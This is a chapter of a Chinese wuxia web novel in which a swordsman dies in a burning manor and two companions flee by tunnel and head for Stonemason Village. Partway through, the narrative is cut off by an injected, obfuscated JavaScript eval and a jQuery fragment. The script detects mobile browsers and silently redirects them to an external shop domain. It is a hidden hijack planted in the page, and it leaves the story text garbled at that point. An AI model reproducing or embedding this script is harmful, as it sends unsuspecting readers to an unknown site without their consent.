尚在清静宗之上时,钱时文缺少江湖历练,自然敌不过。
可今时不同往日,一路行来被压抑在心中的仇恨就此释放,他感到前所未有的畅快,纵然现如今筋疲力竭,身上内力、手中剑招更是融会贯通,威力不同往日。
周凝看着他,想那吴老狐狸说的没错,钱时文确实有天赋,并且心性更佳。
他那时知道了赵蓁是周凝派过去的时候,便说起了他弟子的事情,还问:“就不怕赔了夫人又折兵?”
周凝知道他说得是什么,便只笑道:“看到底谁是夫人谁是兵。”
现如今她也看不清了。
周霜那边情况不太好,但周凝现下无法动弹,周围之人纵然围攻,但他们武力平平,即便是重伤的周凝倒也不惧,手中迷烟、毒烟、暗器层出不穷,凡近身者都没什么好下场。
钱时文暂时又离不得赵蓁,赵蓁身陷人潮之中,一人吸引了绝大多数火力。
周霜只能叹气一口,强催内力,手上长枪便如石头一般,压在那三人形形色色的武器之上。
他内力不支,只怕如今早已全无生路,如今也只希望除他之外,别人能够逃脱。
赵蓁拉起钱时文:“走!”
他们两人慢慢靠近周凝,赵蓁一把将周凝背起来,钱时文先一步跃起,引开架在上面一直攻击他们的弓弩。
手中太极剑法运气,那些射出的箭支便被意义引走,赵蓁见状便带着周凝去了仓库一角,将她推了进去,道:“我不知道师父的计划是什么,但弟子绝对不会让您死在这里的。”
周凝看着赵蓁那双澄澈的眼睛,她笑了笑说:“师父也绝不会让你死的。”
赵蓁提起运掌,破开地上剩下的一层薄土,将周凝推到关姝的怀里:“替我谢谢叔父。”
关姝见状只能带着周凝先走。
“你且将我放下,”周凝道,“我知道地道能去哪里,你先回去吧,掺和到江湖事当中,都是麻烦。”说着她叹了口气。
青阳县大大小小的事情瞒不过她的眼睛,自她知道关钊开始挖地道的时候便知道一定会派上用场。
关姝却道:“我虽是弱女子,可也知道信守承诺一词,周庄主既然知道地道往何处去,那么请先行吧,莫辜负了别人的一番心意。”
周凝对她一礼,便慢慢离开,关姝见她并未选择出城那条路,而是去了城中另一个方向,便知道周凝是不会轻易离开的。
关姝却是又回去了,她试图从那地道中探头的时候,却发现头上尽是木屑,那个小小的仓库在赵蓁将周凝送进去之后便破坏掉了。
关姝叹了口气,只得回去同父亲复命。
赵蓁送走周凝之后,再与钱时文汇合,准备去帮周霜,可周霜见他二人过来,手中长枪一扫,立时将他二人扫出墙去。
“别回头!”他大喊道,“走!”
他二人未及反身回去,便见到墙边一股寒霜之气蔓延,赵蓁忍不住叫了声:“师兄!”
那是周霜的同归于尽之术。
他知道,他今夜终究是走不了的,那么就多杀一些人吧,让他们能够顺利逃出去。
赵蓁完全不想听这位师兄的话,当即便要越墙而入,立在上方的弓弩便有一部分对上了她,似是不愿让她回去,或者是,就这么杀了她。
钱时文挡开几箭,旋身上去杀掉了他们,顺走了他们身上的百宝袋交给了赵蓁。
赵蓁明白他的意思,便取出迷药、毒烟,往里面扔去。
没了他二人牵制,里面所有的人便都对上了周霜,纵然周霜实力强横,也终究有力竭的一刻。
“师兄,快走!”赵蓁喊道。
钱时文又如法炮制,找了几个墙上的人杀掉,取下百宝袋,将那些药粉撒入院中。
有些人不及躲避,便中了招,但仍旧有一部分人见状顿时杀心更盛,当即跃了墙出来试图杀掉他们两个。
赵蓁也不慌,当即手起刀落,取走了他们的性命。
“这么不是办法,你且先找个地方躲藏,我到时再去找你。”钱时文说,他其实消耗不少,但赵蓁如今的情况,就如当初他在清静宗的时候一样,仇恨,会蒙蔽人的双眼。
赵蓁摇了摇头,她抬头决然地看着钱时文,那眼神中含着贪婪,似乎是打算看他这最后一眼,轻轻说:“钱师兄,这是我的事,你快走吧。”
钱时文拉住她道:“我不怕麻烦,我帮你。”他说罢,便直接飞身上墙,赵蓁则只能在外面跺着脚,气这人实在固执。
可若不是他固执,他们如今又要如何同生共死?
赵蓁只能去找找有没有别的法子。
结果她刚走过一条小巷,便看到了站在那里打着灯笼的关姝。
“跟我来吧。”她说,“我带你去见我父亲。”
关姝穿的依旧是之前那身,只不过入了冬,终究还有些冷,便只在外面穿了件披风。
赵蓁看她鞋上和裙摆上的泥土,心中也是无限感慨。
钱时文进入之后只觉得内里惨绝人寰,一时之间竟让他真的仿佛看到了当初清静宗灭门的境况。
周霜身上插着一刀一剑,靠在墙边已然奄奄一息,他身后有三具尸体,正是他们带来的好手。
山庄之内已经几乎没什么活口,他绕了一圈,逐个解决弓弩手之后,便将他们的药粉洒向院内。
如今看来地上满是药粉,一部分人已经昏迷。
“蓁蓁她没事吧?”周霜见到是他,便问道。
“无事。”钱时文说。
“那就好,接下来就靠你照顾她了。”周霜说,“她是个好姑娘,你别辜负了她。”
钱时文道:“一定。”
周霜指了指院子中另一个小仓库说:“那下面埋得还有三坛酒,是我没舍得喝的,我现在想喝了,你把东西拿走吧。”
钱时文便立马过去挖了出来,三坛酒,都是满当当的,没有拆封,他打开一坛,递给了周霜。
周霜也只能喝一口,他说:“烧了吧,都烧了吧。”
今夜已经没有风了,这把火,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696468|207165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烧不到别的地方。
钱时文将那酒坛扔到空中,以内力震碎,他还没来得及引火,周霜便已然将火燃起了。
他看着自己烧起来的衣服,竟然笑了起来。
周霜幼时被周凝从火场中救出,如今又一次葬身火海,周府那处腌臜的宅子,如同这湖越山庄一般,在他眼中熊熊燃烧着。
“火啊,终究还是烧起来了。”说罢便断了气。
钱时文在火场中站了一会儿,终究体力有些不支,晕了过去。
他想,自己或许也已经出不去了。
赵蓁从地道钻过来的时候,看到晕倒在地上的钱时文,还有死在墙角的周霜,忍住了眼泪,她闻到了自己酿的酒香,便骂着:“让你回回要,让你天天藏,如今怎么也喝不了了吧!”
她拖着钱时文从地道中离开,关姝带着他们直接出了城,并说:“周庄主已经走了,我不知道她去了哪里。”
钱时文只是力竭,休息够了,便也醒了。
他看向坐在篝火旁边的赵蓁,说:“对不起。”
“没什么对不起的。”赵蓁明显哭过一阵了。
钱时文将藏起来的信递给赵蓁:“你师兄给你留的。”
赵蓁接过信,打开看了看说:“我知道了。”
钱时文也不问那信中写的到底是什么,他只是躺在土堆上,看着密林中的天空,天是阴的,有微微的风,树叶传来沙沙的响声,就如同他们现在的心,不静。
他大概猜得出赵蓁现如今的心情,只不过,她终究要比他坚强太多,所以他什么都不用说,只需要陪着她便好。
赵蓁与钱时文在城外的树林中待了三日,这三日没有得到任何青阳县内的消息,钱时文回去还剑的时候问过,梅凛风却是什么都不说,只说最后只是以湖越山庄起火结案。
“你们接下来打算去哪里?”
钱时文摇摇头道:“我不知道,她去哪里,我便去哪里吧。”
“那就,后会无期。”梅凛风抱拳说道。
“后会无期。”
钱时文最后一次离开青阳县的时候,他就知道自己或许再也不会回来了。
赵蓁也是。
赵蓁等着他从青阳县将采买的东西带回来,便说:“我们去石匠村。”
钱时文见到她手中正拿着一封短笺,怕是谁传来的密信。
赵蓁见他目光,便将那纸条递了过去,说:“我不信,所以我们要去石匠村。”
纸条上写着的,正是周凝身亡的消息,落款一个易字,还有执法堂的印,想来是易升阳递过来的。
“执法堂现如今群龙无首,易大哥是昨日离开的时候得到的消息,他要去西南同冯茂汇合,准备暂时避避风头,省的和亭台路那些人对上。”赵蓁又道,“我师父之前让我们去石匠村,石匠村一定存在的有线索。”
“更重要的,是我们要有能傍身的兵器。”
钱时文点了点头,他确实需要一把更好的剑,于是他说:“我会陪着你,不论天涯海角。”